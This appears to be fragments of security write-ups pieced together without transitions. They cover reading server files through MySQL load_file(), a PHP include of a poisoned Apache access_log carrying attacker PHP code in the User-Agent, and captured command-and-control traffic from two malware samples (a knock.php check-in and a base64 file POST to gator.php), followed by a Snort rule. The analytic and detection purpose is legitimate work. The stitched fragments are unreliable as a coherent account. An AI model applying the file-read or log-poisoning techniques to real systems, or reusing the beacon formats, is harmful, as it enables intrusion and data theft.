dennis@ipa:~$ mysql -u root -h 192.168.1.102 Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 17 Server version: 5.0.77-log OpenBSD port: mysql-server-5.0.77
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> select load_file("/tmp/dennis")\G *************************** 1. row *************************** load_file("/tmp/dennis"): i'm a file on 192.168.1.102
1 row in set (0.00 sec)
Pending the usual file permissions and MySQL File privileges, you can read a file located on the database server.
* the path to Apache's access_log varies per configuration.
animals.php's include statement includes the access_log which happens to have a log entry with a User-Agent set to a snippet of attacker controlled PHP code:
dennis@ipa:~$ ls -l /tmp/dennis -rw-r--r-- 1 www wheel 0 Jan 6 20:26 /tmp/dennis
n-bss.exe does a GET phone home to gateshis.cn (91.213.174.9) then tries to download another n-bss.exe binary from blogcz.cn (not resolving):
GET /knock.php?id=SYSTEM!WINXP!B857B9C9 HTTP/1.0 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: gateshis.cn Connection: Keep-Alive
knock.php's id parameter is delimited by "!". "SYSTEM" remained consistent on my packet captures--user name of the process? The next field is the computer's name. I'm not sure about the last field:
alert tcp $HOME_NET any -> any $HTTP_PORTS (msg:"n-bss.exe malware"; flow:to_server; content:"GET"; http_method; uricontent:"/knock.php?id="; pcre:"/id=SYSTEM!.*!/"; sid:123120091;)
logo.exe POSTs a base64 encoded file to gator.php on yourclicker.cn (124.217.251.182). It also resolves ya.ru (77.88.21.8, 213.180.204.8, 93.158.134.8), but I never saw any traffic to these IPs:
POST /gator.php HTTP/1.0 Host: yourclicker.cn Content-Type: application/x-www-form-urlencoded Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; InfoPath.1) Content-Length: 3088